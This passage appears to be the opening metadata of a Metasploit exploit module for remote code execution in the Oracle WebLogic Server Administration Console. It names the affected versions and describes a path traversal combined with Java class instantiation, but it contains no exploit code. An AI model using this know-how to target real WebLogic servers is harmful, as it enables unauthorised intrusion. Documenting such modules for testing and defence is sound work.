'Name' => 'Oracle WebLogic Server Administration Console Handle RCE',
'Description' => %q{
This module exploits a path traversal and a Java class instantiation
in the handle implementation of WebLogic's Administration Console to
execute code as the WebLogic user.
Versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, and
14.1.1.0.0 are known to be affected.
Tested against 12.2.1.3.0 from Vulhub (Linux) and on Windows.
Warning! Multiple sessions may be created by exploiting this vuln.
